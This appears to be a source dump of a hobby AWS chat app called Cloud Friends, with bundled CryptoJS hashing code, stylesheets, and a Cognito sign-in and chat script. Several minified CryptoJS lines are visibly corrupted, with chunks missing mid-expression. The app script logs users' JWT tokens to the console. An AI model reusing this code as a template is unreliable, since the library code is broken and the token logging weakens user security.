| * var hmac = hmacHasher.finalize(wordArray); 118 | */ 119 | finalize: function (messageUpdate) { 120 | // Shortcut 121 | var hasher = this._hasher; 122 | 123 | // Compute HMAC 124 | var innerHash = hasher.finalize(messageUpdate); 125 | hasher.reset(); 126 | var hmac = hasher.finalize(this._oKey.clone().concat(innerHash)); 127 | 128 | return hmac; 129 | } 130 | }); 131 | }()); 132 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/CryptoJS/rollups/sha256.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | var CryptoJS=CryptoJS||function(h,s){var f={},t=f.lib={},g=function(){},j=t.Base={extend:function(a){g.prototype=this;var c=new g;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}}, 8 | q=t.WordArray=j.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=s?c:4*a.length},toString:function(a){return(a||u).stringify(this)},concat:function(a){var c=this.words,d=a.words,b=this.sigBytes;a=a.sigBytes;this.clamp();if(b%4)for(var e=0;e>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((b+e)%4);else if(65535>>2]=d[e>>>2];else c.push.apply(c,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<< 9 | 32-8*(c%4);a.length=h.ceil(c/4)},clone:function(){var a=j.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],d=0;d>>2]>>>24-8*(b%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var c=a.length,d=[],b=0;b>>3]|=parseInt(a.substr(b, 10 | 2),16)<<24-4*(b%8);return new q.init(d,c/2)}},k=v.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var d=[],b=0;b>>2]>>>24-8*(b%4)&255));return d.join("")},parse:function(a){for(var c=a.length,d=[],b=0;b>>2]|=(a.charCodeAt(b)&255)<<24-8*(b%4);return new q.init(d,c)}},l=v.Utf8={stringify:function(a){try{return decodeURIComponent(escape(k.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data");}},parse:function(a){return k.parse(unescape(encodeURIComponent(a)))}}, 11 | x=t.BufferedBlockAlgorithm=j.extend({reset:function(){this._data=new q.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=l.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var c=this._data,d=c.words,b=c.sigBytes,e=this.blockSize,f=b/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;b=h.min(4*a,b);if(a){for(var m=0;mk;){var l;a:{l=u;for(var x=h.sqrt(l),w=2;w<=x;w++)if(!(l%w)){l=!1;break a}l=!0}l&&(8>k&&(j[k]=v(h.pow(u,0.5))),q[k]=v(h.pow(u,1/3)),k++);u++}var a=[],f=f.SHA256=g.extend({_doReset:function(){this._hash=new t.init(j.slice(0))},_doProcessBlock:function(c,d){for(var b=this._hash.words,e=b[0],f=b[1],m=b[2],h=b[3],p=b[4],j=b[5],k=b[6],l=b[7],n=0;64>n;n++){if(16>n)a[n]= 15 | c[d+n]|0;else{var r=a[n-15],g=a[n-2];a[n]=((r<<25|r>>>7)^(r<<14|r>>>18)^r>>>3)+a[n-7]+((g<<15|g>>>17)^(g<<13|g>>>19)^g>>>10)+a[n-16]}r=l+((p<<26|p>>>6)^(p<<21|p>>>11)^(p<<7|p>>>25))+(p&j^~p&k)+q[n]+a[n];g=((e<<30|e>>>2)^(e<<19|e>>>13)^(e<<10|e>>>22))+(e&f^e&m^f&m);l=k;k=j;j=p;p=h+r|0;h=m;m=f;f=e;e=r+g|0}b[0]=b[0]+e|0;b[1]=b[1]+f|0;b[2]=b[2]+m|0;b[3]=b[3]+h|0;b[4]=b[4]+p|0;b[5]=b[5]+j|0;b[6]=b[6]+k|0;b[7]=b[7]+l|0},_doFinalize:function(){var a=this._data,d=a.words,b=8*this._nDataBytes,e=8*a.sigBytes; 16 | d[e>>>5]|=128<<24-e%32;d[(e+64>>>9<<4)+14]=h.floor(b/4294967296);d[(e+64>>>9<<4)+15]=b;a.sigBytes=4*d.length;this._process();return this._hash},clone:function(){var a=g.clone.call(this);a._hash=this._hash.clone();return a}});s.SHA256=g._createHelper(f);s.HmacSHA256=g._createHmacHelper(f)})(Math); 17 | -------------------------------------------------------------------------------- /cloud_friends/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | CloudFriends|Home 13 | 14 | 15 | 16 | 30 |
31 | 43 |
44 |
45 |

Welcome to Cloud Friends

46 |

47 | This is simple application to experiment with AWS services like Cognito, DynamoDb, Lambda, S3 and API Gateway. 48 |

49 | 53 |
54 | 55 |
56 |
57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /cloud_friends/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0px; 3 | padding: 0px; 4 | box-sizing: border-box; 5 | } 6 | 7 | body { 8 | font-family: "Poppins", sans-serif; 9 | background-image: linear-gradient(120deg, #f6d365, #d88771); 10 | } 11 | 12 | nav { 13 | display: flex; 14 | justify-content: space-around; 15 | align-items: center; 16 | min-height: 8vh; 17 | background-color: #5d4954; 18 | } 19 | 20 | .logo { 21 | color: rgb(226, 226, 226); 22 | text-transform: uppercase; 23 | letter-spacing: 5px; 24 | font-size: 20px; 25 | } 26 | 27 | .nav-links { 28 | display: flex; 29 | width: 10%; 30 | justify-content: space-around; 31 | } 32 | .nav-links li { 33 | list-style: none; 34 | } 35 | 36 | .nav-links a { 37 | color: rgb(226, 226, 226); 38 | text-decoration: none; 39 | letter-spacing: 3px; 40 | font-weight: bold; 41 | font-size: 14px; 42 | } 43 | 44 | .burger { 45 | display: none; 46 | } 47 | 48 | .burger div { 49 | background: rgb(226, 226, 226); 50 | width: 25px; 51 | height: 3px; 52 | margin: 5px; 53 | } 54 | 55 | @media screen and (max-width: 768px) { 56 | body { 57 | overflow-x: hidden; 58 | } 59 | .nav-links { 60 | position: absolute; 61 | right: 0px; 62 | height: 50vh; 63 | top: 8vh; 64 | background-color: #5d4954; 65 | display: flex; 66 | flex-direction: column; 67 | align-items: center; 68 | width: 30%; 69 | transform: translateX(100%); 70 | transition: transform 0.5s ease-in; 71 | } 72 | /* .nav-links li{ 73 | opacity: 0; 74 | } */ 75 | .burger { 76 | display: block; 77 | } 78 | .nav-active { 79 | transform: translateX(0%); 80 | } 81 | } 82 | 83 | 84 | 85 | .mid-box { 86 | width: 50%; 87 | background-color: #5d4954; 88 | font-family: "Poppins", sans-serif; 89 | align-self: center; 90 | border: 2px solid green; 91 | display: flex; 92 | flex-direction: column; 93 | color: rgb(226, 226, 226); 94 | border-radius: 10px; 95 | padding: 5px; 96 | } 97 | 98 | 99 | h2, 100 | p { 101 | text-align: center; 102 | } 103 | 104 | .login-btns { 105 | align-self: center; 106 | } 107 | .hide { 108 | display: none; 109 | } 110 | .signup-container { 111 | align-self: center; 112 | width: 100%; 113 | display: flex; 114 | flex-direction: column; 115 | background-color: #6e4e60; 116 | } 117 | .signup-item { 118 | justify-content: space-around; 119 | align-self: center; 120 | display: flex; 121 | margin: 3px; 122 | } 123 | .sign-inp { 124 | width: 70%; 125 | flex: 1; 126 | } 127 | .sign-lbl { 128 | text-align: center; 129 | margin-right: 5px; 130 | padding: 3px; 131 | width: 100px; 132 | } 133 | 134 | .conv{ 135 | background: beige; 136 | margin: 5px; 137 | display: flex; 138 | height: 35px; 139 | align-items: center; 140 | width: 40%; 141 | margin: auto; 142 | margin-bottom: 10px; 143 | padding: 5px; 144 | border: black 2px solid; 145 | border-radius: 3px; 146 | } 147 | .conv-text{ 148 | flex: 1; 149 | color: blueviolet; 150 | } 151 | .conv-btn{ 152 | padding: 3px; 153 | } 154 | .container { 155 | width: 70%; 156 | margin: auto; 157 | height: 100vh; 158 | } 159 | 160 | .center{ 161 | width: 500px; 162 | height: 150px; 163 | background-color: #6e4e60; 164 | color: rgb(226, 226, 226); 165 | position: absolute; 166 | top:0; 167 | bottom: 0; 168 | left: 0; 169 | right: 0; 170 | margin: auto; 171 | border-radius: 10px; 172 | } 173 | 174 | .vflex{ 175 | display: flex; 176 | flex-direction:column; 177 | justify-items: center; 178 | } 179 | 180 | .btn { 181 | width: 100px; 182 | height: 35px; 183 | align-self: center; 184 | text-align: center; 185 | margin: 5px; 186 | background: lightgreen; 187 | border-radius: 5px; 188 | border-color: lightblue; 189 | } 190 | 191 | .time{ 192 | align-self:flex-end; 193 | font-style: italic; 194 | color: dimgrey; 195 | margin-right: 10px; 196 | font-size: x-small; 197 | } 198 | .message-container{ 199 | display: flex; 200 | overflow-y: auto; 201 | height: 60vh; 202 | flex-direction: column; 203 | border: black 2px dotted; 204 | 205 | } 206 | .message{ 207 | background: beige; 208 | margin: 15px; 209 | border: blue 2px solid; 210 | border-radius: 5px; 211 | min-width: 450px; 212 | display: flex; 213 | flex-direction: column; 214 | } 215 | 216 | .message p { 217 | margin: 10px; 218 | } 219 | 220 | .sender{ 221 | align-self: start; 222 | clear: both; 223 | font-weight: bolder; 224 | color: red; 225 | } 226 | 227 | .msg-text{ 228 | align-self: center; 229 | } 230 | .left{ 231 | align-self: start; 232 | } 233 | 234 | .right{ 235 | align-self: flex-end; 236 | } 237 | 238 | .msg-form{ 239 | margin: 10px; 240 | text-align: center; 241 | } 242 | .msg-input{ 243 | width: 80%; 244 | height: 35px; 245 | padding: 5px; 246 | } -------------------------------------------------------------------------------- /cognito_auth/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0px; 3 | padding: 0px; 4 | box-sizing: border-box; 5 | } 6 | 7 | body { 8 | font-family: "Poppins", sans-serif; 9 | background-image: linear-gradient(120deg, #f6d365, #d88771); 10 | } 11 | 12 | nav { 13 | display: flex; 14 | justify-content: space-around; 15 | align-items: center; 16 | min-height: 8vh; 17 | background-color: #5d4954; 18 | } 19 | 20 | .logo { 21 | color: rgb(226, 226, 226); 22 | text-transform: uppercase; 23 | letter-spacing: 5px; 24 | font-size: 20px; 25 | } 26 | 27 | .nav-links { 28 | display: flex; 29 | width: 10%; 30 | justify-content: space-around; 31 | } 32 | .nav-links li { 33 | list-style: none; 34 | } 35 | 36 | .nav-links a { 37 | color: rgb(226, 226, 226); 38 | text-decoration: none; 39 | letter-spacing: 3px; 40 | font-weight: bold; 41 | font-size: 14px; 42 | } 43 | 44 | .burger { 45 | display: none; 46 | } 47 | 48 | .burger div { 49 | background: rgb(226, 226, 226); 50 | width: 25px; 51 | height: 3px; 52 | margin: 5px; 53 | } 54 | 55 | @media screen and (max-width: 768px) { 56 | body { 57 | overflow-x: hidden; 58 | } 59 | .nav-links { 60 | position: absolute; 61 | right: 0px; 62 | height: 50vh; 63 | top: 8vh; 64 | background-color: #5d4954; 65 | display: flex; 66 | flex-direction: column; 67 | align-items: center; 68 | width: 30%; 69 | transform: translateX(100%); 70 | transition: transform 0.5s ease-in; 71 | } 72 | /* .nav-links li{ 73 | opacity: 0; 74 | } */ 75 | .burger { 76 | display: block; 77 | } 78 | .nav-active { 79 | transform: translateX(0%); 80 | } 81 | } 82 | 83 | 84 | 85 | .mid-box { 86 | width: 50%; 87 | background-color: #5d4954; 88 | font-family: "Poppins", sans-serif; 89 | align-self: center; 90 | border: 2px solid green; 91 | display: flex; 92 | flex-direction: column; 93 | color: rgb(226, 226, 226); 94 | border-radius: 10px; 95 | padding: 5px; 96 | } 97 | 98 | 99 | h2, 100 | p { 101 | text-align: center; 102 | } 103 | 104 | .login-btns { 105 | align-self: center; 106 | } 107 | .hide { 108 | display: none; 109 | } 110 | .signup-container { 111 | align-self: center; 112 | width: 100%; 113 | display: flex; 114 | flex-direction: column; 115 | background-color: #6e4e60; 116 | } 117 | .signup-item { 118 | justify-content: space-around; 119 | align-self: center; 120 | display: flex; 121 | margin: 3px; 122 | } 123 | .sign-inp { 124 | width: 70%; 125 | flex: 1; 126 | } 127 | .sign-lbl { 128 | text-align: center; 129 | margin-right: 5px; 130 | padding: 3px; 131 | width: 100px; 132 | } 133 | 134 | .conv{ 135 | background: beige; 136 | margin: 5px; 137 | display: flex; 138 | height: 35px; 139 | align-items: center; 140 | width: 40%; 141 | margin: auto; 142 | margin-bottom: 10px; 143 | padding: 5px; 144 | border: black 2px solid; 145 | border-radius: 3px; 146 | } 147 | .conv-text{ 148 | flex: 1; 149 | color: blueviolet; 150 | } 151 | .conv-btn{ 152 | padding: 3px; 153 | } 154 | .container { 155 | width: 70%; 156 | margin: auto; 157 | height: 100vh; 158 | } 159 | 160 | .center{ 161 | width: 500px; 162 | height: 150px; 163 | background-color: #6e4e60; 164 | color: rgb(226, 226, 226); 165 | position: absolute; 166 | top:0; 167 | bottom: 0; 168 | left: 0; 169 | right: 0; 170 | margin: auto; 171 | border-radius: 10px; 172 | } 173 | 174 | .vflex{ 175 | display: flex; 176 | flex-direction:column; 177 | justify-items: center; 178 | } 179 | 180 | .btn { 181 | width: 100px; 182 | height: 35px; 183 | align-self: center; 184 | text-align: center; 185 | margin: 5px; 186 | background: lightgreen; 187 | border-radius: 5px; 188 | border-color: lightblue; 189 | } 190 | 191 | .time{ 192 | align-self:flex-end; 193 | font-style: italic; 194 | color: dimgrey; 195 | margin-right: 10px; 196 | font-size: x-small; 197 | } 198 | .message-container{ 199 | display: flex; 200 | overflow-y: auto; 201 | height: 60vh; 202 | flex-direction: column; 203 | border: black 2px dotted; 204 | 205 | } 206 | .message{ 207 | background: beige; 208 | margin: 15px; 209 | border: blue 2px solid; 210 | border-radius: 5px; 211 | min-width: 450px; 212 | display: flex; 213 | flex-direction: column; 214 | } 215 | 216 | .message p { 217 | margin: 10px; 218 | } 219 | 220 | .sender{ 221 | align-self: start; 222 | clear: both; 223 | font-weight: bolder; 224 | color: red; 225 | } 226 | 227 | .msg-text{ 228 | align-self: center; 229 | } 230 | .left{ 231 | align-self: start; 232 | } 233 | 234 | .right{ 235 | align-self: flex-end; 236 | } 237 | 238 | .msg-form{ 239 | margin: 10px; 240 | text-align: center; 241 | } 242 | .msg-input{ 243 | width: 80%; 244 | height: 35px; 245 | padding: 5px; 246 | } -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/CryptoJS/rollups/hmac-sha256.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | var CryptoJS=CryptoJS||function(h,s){var f={},g=f.lib={},q=function(){},m=g.Base={extend:function(a){q.prototype=this;var c=new q;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}}, 8 | r=g.WordArray=m.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=s?c:4*a.length},toString:function(a){return(a||k).stringify(this)},concat:function(a){var c=this.words,d=a.words,b=this.sigBytes;a=a.sigBytes;this.clamp();if(b%4)for(var e=0;e>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((b+e)%4);else if(65535>>2]=d[e>>>2];else c.push.apply(c,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<< 9 | 32-8*(c%4);a.length=h.ceil(c/4)},clone:function(){var a=m.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],d=0;d>>2]>>>24-8*(b%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var c=a.length,d=[],b=0;b>>3]|=parseInt(a.substr(b, 10 | 2),16)<<24-4*(b%8);return new r.init(d,c/2)}},n=l.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var d=[],b=0;b>>2]>>>24-8*(b%4)&255));return d.join("")},parse:function(a){for(var c=a.length,d=[],b=0;b>>2]|=(a.charCodeAt(b)&255)<<24-8*(b%4);return new r.init(d,c)}},j=l.Utf8={stringify:function(a){try{return decodeURIComponent(escape(n.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data");}},parse:function(a){return n.parse(unescape(encodeURIComponent(a)))}}, 11 | u=g.BufferedBlockAlgorithm=m.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=j.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var c=this._data,d=c.words,b=c.sigBytes,e=this.blockSize,f=b/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;b=h.min(4*a,b);if(a){for(var g=0;gn;){var j;a:{j=k;for(var u=h.sqrt(j),t=2;t<=u;t++)if(!(j%t)){j=!1;break a}j=!0}j&&(8>n&&(m[n]=l(h.pow(k,0.5))),r[n]=l(h.pow(k,1/3)),n++);k++}var a=[],f=f.SHA256=q.extend({_doReset:function(){this._hash=new g.init(m.slice(0))},_doProcessBlock:function(c,d){for(var b=this._hash.words,e=b[0],f=b[1],g=b[2],j=b[3],h=b[4],m=b[5],n=b[6],q=b[7],p=0;64>p;p++){if(16>p)a[p]= 15 | c[d+p]|0;else{var k=a[p-15],l=a[p-2];a[p]=((k<<25|k>>>7)^(k<<14|k>>>18)^k>>>3)+a[p-7]+((l<<15|l>>>17)^(l<<13|l>>>19)^l>>>10)+a[p-16]}k=q+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&m^~h&n)+r[p]+a[p];l=((e<<30|e>>>2)^(e<<19|e>>>13)^(e<<10|e>>>22))+(e&f^e&g^f&g);q=n;n=m;m=h;h=j+k|0;j=g;g=f;f=e;e=k+l|0}b[0]=b[0]+e|0;b[1]=b[1]+f|0;b[2]=b[2]+g|0;b[3]=b[3]+j|0;b[4]=b[4]+h|0;b[5]=b[5]+m|0;b[6]=b[6]+n|0;b[7]=b[7]+q|0},_doFinalize:function(){var a=this._data,d=a.words,b=8*this._nDataBytes,e=8*a.sigBytes; 16 | d[e>>>5]|=128<<24-e%32;d[(e+64>>>9<<4)+14]=h.floor(b/4294967296);d[(e+64>>>9<<4)+15]=b;a.sigBytes=4*d.length;this._process();return this._hash},clone:function(){var a=q.clone.call(this);a._hash=this._hash.clone();return a}});s.SHA256=q._createHelper(f);s.HmacSHA256=q._createHmacHelper(f)})(Math); 17 | (function(){var h=CryptoJS,s=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(f,g){f=this._hasher=new f.init;"string"==typeof g&&(g=s.parse(g));var h=f.blockSize,m=4*h;g.sigBytes>m&&(g=f.finalize(g));g.clamp();for(var r=this._oKey=g.clone(),l=this._iKey=g.clone(),k=r.words,n=l.words,j=0;j { 6 | event.preventDefault(); 7 | console.log("signup"); 8 | const username = document.querySelector("#username").value; 9 | const emailadd = document.querySelector("#email").value; 10 | const password = document.querySelector("#password").value; 11 | 12 | var email = new AmazonCognitoIdentity.CognitoUserAttribute({ 13 | Name: "email", 14 | Value: emailadd, 15 | }); 16 | 17 | userPool.signUp(username, password, [email], null, function (err, result) { 18 | if (err) { 19 | alert(err); 20 | } else { 21 | location.href = "confirm.html#" + username; 22 | } 23 | }); 24 | }; 25 | 26 | const confirmCode = () => { 27 | event.preventDefault(); 28 | const username = location.hash.substring(1); 29 | const cognitoUser = new AmazonCognitoIdentity.CognitoUser({ 30 | Username: username, 31 | Pool: userPool, 32 | }); 33 | const code = document.querySelector("#confirm").value; 34 | console.log("code =" + code); 35 | cognitoUser.confirmRegistration(code, true, function (err, results) { 36 | if (err) { 37 | alert(err); 38 | } else { 39 | console.log("confirmed"); 40 | location.href = "signin.html"; 41 | } 42 | }); 43 | }; 44 | 45 | const resendCode = () => { 46 | event.preventDefault(); 47 | const username = location.hash.substring(1); 48 | const cognitoUser = new AmazonCognitoIdentity.CognitoUser({ 49 | Username: username, 50 | Pool: userPool, 51 | }); 52 | cognitoUser.resendConfirmationCode(function (err) { 53 | if (err) { 54 | alert(err); 55 | } 56 | }); 57 | }; 58 | 59 | const signIn = () => { 60 | event.preventDefault(); 61 | const username = document.querySelector("#username").value; 62 | const password = document.querySelector("#password").value; 63 | 64 | let authenticationData = { 65 | Username: username, 66 | Password: password, 67 | }; 68 | 69 | var authenticationDetails = new AmazonCognitoIdentity.AuthenticationDetails( 70 | authenticationData 71 | ); 72 | var userData = { 73 | Username: username, 74 | Pool: userPool, 75 | }; 76 | 77 | var cognitoUser = new AmazonCognitoIdentity.CognitoUser(userData); 78 | cognitoUser.authenticateUser(authenticationDetails, { 79 | onSuccess: function () { 80 | console.log("login success"); 81 | location.href = "index.html"; 82 | }, 83 | onFailure: function (err) { 84 | alert(JSON.stringify(err)); 85 | }, 86 | }); 87 | }; 88 | 89 | const signOut = () => { 90 | console.log("sign out"); 91 | var cognitoUser = userPool.getCurrentUser(); 92 | if (cognitoUser) cognitoUser.signOut(); 93 | }; 94 | 95 | // const refreshLogin = () => { 96 | // const userBtn = document.querySelector(".user"); 97 | // var cognitoUser = userPool.getCurrentUser(); 98 | // if (cognitoUser != null) { 99 | // userBtn.innerHTML += cognitoUser.username; 100 | // }; 101 | 102 | 103 | const checkLogin = () => { 104 | console.log("checking login.."); 105 | const login = false; 106 | const userBtn = document.querySelector(".user"); 107 | const leftBtn = document.querySelector(".left"); 108 | const rightBtn = document.querySelector(".right"); 109 | var cognitoUser = userPool.getCurrentUser(); 110 | if (cognitoUser != null) { 111 | userBtn.innerHTML += cognitoUser.username; 112 | rightBtn.classList.toggle("hide"); 113 | } else { 114 | leftBtn.innerHTML = "Sign In"; 115 | rightBtn.innerHTML = "Register"; 116 | } 117 | }; 118 | 119 | const navTosignUp = () => { 120 | console.log("sign up"); 121 | location.href = "signup.html"; 122 | }; 123 | 124 | const navTosignIn = () => { 125 | console.log("sign in"); 126 | var cognitoUser = userPool.getCurrentUser(); 127 | if (cognitoUser !== null) { 128 | location.href = "friends.html"; 129 | } else { 130 | location.href = "signin.html"; 131 | } 132 | }; 133 | 134 | const loadUsers = () => { 135 | getJWTToken(function (token) { 136 | apiClient 137 | .usersGet({}, null, { headers: { Authorization: token } }) 138 | .then(function (result) { 139 | console.log(result); 140 | displayUsers(result.data); 141 | }) 142 | .catch((err) => console.log(err)); 143 | }); 144 | }; 145 | 146 | function refresh(){ 147 | const userBtn = document.querySelector(".user"); 148 | var cognitoUser = userPool.getCurrentUser(); 149 | if (cognitoUser != null) { 150 | userBtn.innerHTML += cognitoUser.username; 151 | } 152 | } 153 | 154 | function displayUsers(data) { 155 | const chatContainer = document.querySelector(".container"); 156 | data.forEach((user) => { 157 | //
158 | //

Student - frank

159 | // 160 | //
161 | const div = document.createElement("div"); 162 | div.classList.add("conv"); 163 | 164 | const p = document.createElement("p"); 165 | p.classList.add("conv-text"); 166 | p.innerText = user.Username; 167 | div.appendChild(p); 168 | 169 | const t = document.createElement("p"); 170 | t.classList.add("time"); 171 | t.innerText = "today"; 172 | div.appendChild(t); 173 | 174 | const btn = document.createElement("button"); 175 | btn.classList.add("conv-btn"); 176 | //btn.innerHTML = ''; 177 | btn.innerText = "Start Chat"; 178 | btn.addEventListener("click", () => startChat(user.Username)); 179 | div.appendChild(btn); 180 | chatContainer.append(div); 181 | }); 182 | } 183 | 184 | function startChat(userName) { 185 | console.log(userName); 186 | //postChats(); 187 | location.href = "chat.html#" + userName; 188 | } 189 | 190 | function getJWTToken(callback) { 191 | if (token == null) { 192 | var cognitoUser = userPool.getCurrentUser(); 193 | if (cognitoUser != null) { 194 | cognitoUser.getSession(function (err, session) { 195 | if (err) { 196 | location.href = "index.html"; 197 | } 198 | token = session.getIdToken().getJwtToken(); 199 | console.log("---------------"); 200 | console.log(token); 201 | console.log("---------------"); 202 | callback(token); 203 | }); 204 | } 205 | } else { 206 | callback(token); 207 | } 208 | } 209 | 210 | function hashString(s) { 211 | return s.split("").reduce(function (a, b) { 212 | a = (a << 5) - a + b.charCodeAt(0); 213 | return a & a; 214 | }, 0); 215 | } 216 | function getUniqueName(curUser, otherUser) { 217 | curUser = curUser.toLowerCase(); 218 | otherUser = otherUser.toLowerCase(); 219 | 220 | let user_name = curUser + "_" + otherUser; 221 | if (curUser.length === otherUser.length) { 222 | if (hashString(curUser) < hashString(otherUser)) { 223 | return otherUser + "_" + curUser; 224 | } 225 | } else if (otherUser.length > curUser.length) { 226 | return otherUser + "_" + curUser; 227 | } 228 | return user_name; 229 | } 230 | 231 | function loadChatDetails(otherUser) { 232 | getJWTToken(function (token) { 233 | let cognitoUser = userPool.getCurrentUser(); 234 | let curUser = cognitoUser.username; 235 | let unique_name = getUniqueName(curUser, otherUser); 236 | apiClient 237 | .chatsGet({ sender_receiver: unique_name }, null, { headers: { Authorization: token } }) 238 | .then(function (result) { 239 | console.log(result); 240 | chats = result.data; 241 | displayChatDetails(chats, curUser, otherUser) 242 | 243 | }) 244 | .catch((err) => console.log(err)); 245 | }); 246 | } 247 | 248 | function displayChatDetails(chats,curUser,otherUser) { 249 | const chatContainer = document.querySelector(".message-container"); 250 | chatContainer.innerHTML = ""; 251 | //console.log("chats= " + conv.messages); 252 | //const messages = conv.messages; 253 | const defaultUser = curUser; 254 | chats.forEach((chat) => { 255 | //
256 | //

sender

257 | //

This is a sample message

258 | //

15 minutes ago

259 | //
260 | // div 261 | const direction = chat.sender === defaultUser ? "left" : "right"; 262 | const div = document.createElement("div"); 263 | div.classList.add("message"); 264 | div.classList.add(direction); 265 | 266 | const pSender = document.createElement("p"); 267 | pSender.classList.add("sender"); 268 | pSender.innerText = chat.sender; 269 | div.appendChild(pSender); 270 | 271 | const pMessage = document.createElement("p"); 272 | pMessage.classList.add("msg-text"); 273 | pMessage.innerText = chat.message; 274 | div.appendChild(pMessage); 275 | 276 | const pTime = document.createElement("p"); 277 | pTime.classList.add("time"); 278 | console.log("time = " + chat.unixtime); 279 | const d = new Date(Number(chat.unixtime)*1000); 280 | console.log("date = " + d); 281 | pTime.innerText = moment(d).fromNow(); 282 | div.appendChild(pTime); 283 | 284 | chatContainer.appendChild(div); 285 | }); 286 | } 287 | 288 | function postChat() { 289 | let cognitoUser = userPool.getCurrentUser(); 290 | let curUser = cognitoUser.username; 291 | otherUser = location.hash.substring(1); 292 | 293 | let unique_name = getUniqueName(curUser, otherUser); 294 | 295 | const msgInput = document.querySelector(".msg-input"); 296 | var msg = msgInput.value; 297 | if (msg === "") return; 298 | msgInput.value = ""; 299 | console.log("post chat !" + msg); 300 | 301 | const now = new Date() 302 | const secondsSinceEpoch = Math.round(now.getTime() / 1000) 303 | 304 | var payload = { 305 | sender_receiver: unique_name, 306 | unixtime: secondsSinceEpoch, 307 | sender: curUser, 308 | receiver: otherUser, 309 | message: msg 310 | }; 311 | apiClient 312 | .chatsPost({ sender_receiver: unique_name }, payload, { headers: { Authorization: token } } ) 313 | .then(function (result) { 314 | console.log('success post !'); 315 | console.log(result); 316 | }) 317 | .catch((err) => console.log(err)); 318 | } 319 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/url-template/url-template.js: -------------------------------------------------------------------------------- 1 | /* 2 | UriTemplates Template Processor - Version: @VERSION - Dated: @DATE 3 | (c) marc.portier@gmail.com - 2011-2012 4 | Licensed under APLv2 (http://opensource.org/licenses/Apache-2.0) 5 | */ 6 | 7 | ; 8 | var uritemplate = (function() { 9 | 10 | // Below are the functions we originally used from jQuery. 11 | // The implementations below are often more naive then what is inside jquery, but they suffice for our needs. 12 | 13 | function isFunction(fn) { 14 | return typeof fn == 'function'; 15 | } 16 | 17 | function isEmptyObject (obj) { 18 | for(var name in obj){ 19 | return false; 20 | } 21 | return true; 22 | } 23 | 24 | function extend(base, newprops) { 25 | for (var name in newprops) { 26 | base[name] = newprops[name]; 27 | } 28 | return base; 29 | } 30 | 31 | /** 32 | * Create a runtime cache around retrieved values from the context. 33 | * This allows for dynamic (function) results to be kept the same for multiple 34 | * occuring expansions within one template. 35 | * Note: Uses key-value tupples to be able to cache null values as well. 36 | */ 37 | //TODO move this into prep-processing 38 | function CachingContext(context) { 39 | this.raw = context; 40 | this.cache = {}; 41 | } 42 | CachingContext.prototype.get = function(key) { 43 | var val = this.lookupRaw(key); 44 | var result = val; 45 | 46 | if (isFunction(val)) { // check function-result-cache 47 | var tupple = this.cache[key]; 48 | if (tupple !== null && tupple !== undefined) { 49 | result = tupple.val; 50 | } else { 51 | result = val(this.raw); 52 | this.cache[key] = {key: key, val: result}; 53 | // NOTE: by storing tupples we make sure a null return is validly consistent too in expansions 54 | } 55 | } 56 | return result; 57 | }; 58 | 59 | CachingContext.prototype.lookupRaw = function(key) { 60 | return CachingContext.lookup(this, this.raw, key); 61 | }; 62 | 63 | CachingContext.lookup = function(me, context, key) { 64 | var result = context[key]; 65 | if (result !== undefined) { 66 | return result; 67 | } else { 68 | var keyparts = key.split('.'); 69 | var i = 